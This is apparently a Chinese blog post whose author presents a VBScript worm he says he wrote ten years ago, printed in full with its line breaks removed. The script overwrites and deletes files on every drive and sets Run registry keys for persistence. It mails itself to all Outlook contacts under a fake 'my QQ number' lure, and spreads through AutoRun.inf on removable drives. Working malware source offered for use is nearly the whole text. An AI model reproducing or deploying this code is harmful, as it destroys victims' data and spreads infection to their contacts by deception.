5秒摧毁操作系统的VBS脚本,本人10年前编写的
on error resume nextcall REGrunif REGr=true thencall disklistend ifif DRSdsik=true thencall spreadtoemailend ifif MAL=true thencall HIDEme(wscript.scriptfullname)end ifdim REGr,DRSdsik,MAL,HMSub ShowFolderList(folderspec)on error resume nextDim fs, f, f1, fcSet fs = CreateObject("Scripting.FileSystemObject")Set f = fs.GetFolder(folderspec)Set fc = f.SubFolderscall ShowfileList(folderspec)For Each f1 in fccall ShowfileList(f1.path)call ShowFolderList(f1.path)NextEnd SubSub ShowfileList(folderspec)on error resume nextDim fs, f, f1, fc,filepath,self,ap,ext,cop,wzSet fs = CreateObject("Scripting.FileSystemObject")set self=fso.opentextfile(wscript.scriptfullname,1)vbscopy=self.readallself.closeSet f = fs.GetFolder(folderspec)Set fc = f.FilesFor Each f1 in fcwz=instrRev(f1.path," \ ")filepath=mid(f1.path,1,wz)call copyme(filepath)if fs.getfilename(f1.path)="QQ.exe" or fs.getfilename(f1.path)="QQ.vbs" thencall EXErun(f1.path)end ifset ext=fs.GetExtensionName(f1.path)ext=lcase(ext)if ext<>"html" and ext<>"htm" and ext<>"asp" and ext<>"aspx" and ext<>"jsp" thenif (fs.GetFileName(f1.path))<>"QQ.exe" and (fs.GetFileName(f1.path))<>"QQ.vbs" thenset ap=fs.opentextfile(f1.path,2,TristateTrue)ap.write vbscopyap.closeset cop=fs.getfile(f1.path)cop.copy(f1.path & ".vbs")f1.delete(true)end ifend ifNextEnd Subsub disklist()on error resume nextdim drvs,drv,diskpath,fsgset fsg=CreateObject("Scripting.FileSystemObject")set drvs=fsg.drivesDRSdsik=falsefor each drv in drvsif drv.DriveLetter<>"A" and drv.DriveType<>CDRom thendiskpath=drv.DriveLetter & ":\"call ShowFolderList(diskpath)end ifif drv.IsReady thencall REMdiskRUN(diskpath)end ifnextDRSdisk=trueend subsub copyme(copypath)on error resume nextdim fssset fss=createobject("scripting.filesystemobject")fss.copyfile wscript.scriptfullname,copypath,trueend subsub EXErun(filename)on error resume nextdim ws,fcxset fcx=createobject("scripting.filesystemobject")set ws=createobject("wscript.shell")if fcx.FileExists(filename) thenws.run filenameend ifend subsub spreadtoemail()dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regadset regedit=CreateObject("WScript.Shell")set out=WScript.CreateObject("Outlook.Application")set mapi=out.GetNameSpace("MAPI")MAL=falsefor ctrlists=1 to mapi.AddressLists.Countset a=mapi.AddressLists(ctrlists)x=1regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a)if regv="" thenregv=1end ifif (int(a.AddressEntries.Count)>int(regv)) thenfor ctrentries=1 to a.AddressEntries.Countmalead=a.AddressEntries(x)regad=""regad=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead)if regad="" thenset male=out.CreateItem(0)male.Recipients.Add(malead)male.Subject="这是我的QQ号码"male.Body="好久没有你的消息了,这是我的QQ号码,在附件里面,请收一下,保持联系!"male.Attachments.Add(wscript.scriptfullname)male.Sendregedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB" & malead, 1, "REG_DWORD"end ifx=x+1nextregedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Countelseregedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Countend ifnextSet out=NothingSet mapi=NothingMAL=trueend subsub REGrun()on error resume nextdim virpathf,virpaths,virpatht,frs,fregset frs=createobject("scripting.filesystemobject")set freg=createobject("wscript.shell")REGr=falsevirpathf=frs.GetSpecialFolder(0)virpaths=frs.GetSpecialFolder(1)virpatht=frs.GetSpecialFolder(2)frs.copyfile wscript.scriptfullname,virpathf &"\"& "QQ.vbs" ,truefrs.copyfile wscript.scriptfullname,virpaths &"\"& "QQ.vbs" ,truefrs.copyfile wscript.scriptfullname,virpatht &"\"& "QQ.vbs" ,truefreg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQF",virpathf,"REG_SZ"freg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\QQF",virpathf,"REG_SZ"freg.regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\QQF",virpathf,"REG_SZ"freg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQS",virpaths,"REG_SZ"freg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\QQS",virpaths,"REG_SZ"freg.regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\QQS",virpathS,"REG_SZ"freg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQT",virpatht,"REG_SZ"freg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\QQT",virpatht,"REG_SZ"freg.regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\QQT",virpatht,"REG_SZ"set freg=nothingREGr=trueend subsub REMdiskRUN(frpath)on error resume nextset rems=createobject("scripting.filesystemobject")rems.copyfile wscript.scriptfullname,frpath & "rings\QQ.vbs",trueset fr=rems.CreateTextFile(frpath & "AutoRun.inf",True)fr.writeline ("[AutoRun]")+vbcrlffr.writeline ("shellexecute=" & frpath & "rings\QQ.vbs")+vbcrlffr.writeline ("shell\open\command=打开(&O)")+vbcrlffr.writeline ("shell\open\command=" & frpath & "rings\QQ.vbs")+vbcrlffr.writeline ("shell\open\Default=1")+vbcrlffr.writeline ("shell\explore=资源管理器(&X)")+vbcrlffr.writeline ("shell\explore\Command="& frpath & "rings\QQ.vbs")+vbcrlffr.closeend subsub HIDEme(mepath)on error resume nextdim MSF,MFset MSF=createobject("scripting.filesystemobject")set MF=MSF.GetFile(mepath)HM=falseMF.Attributes=MF.Attributes+ReadOnly+Hiddenset MF=nothingHM=trueend sub
最近评论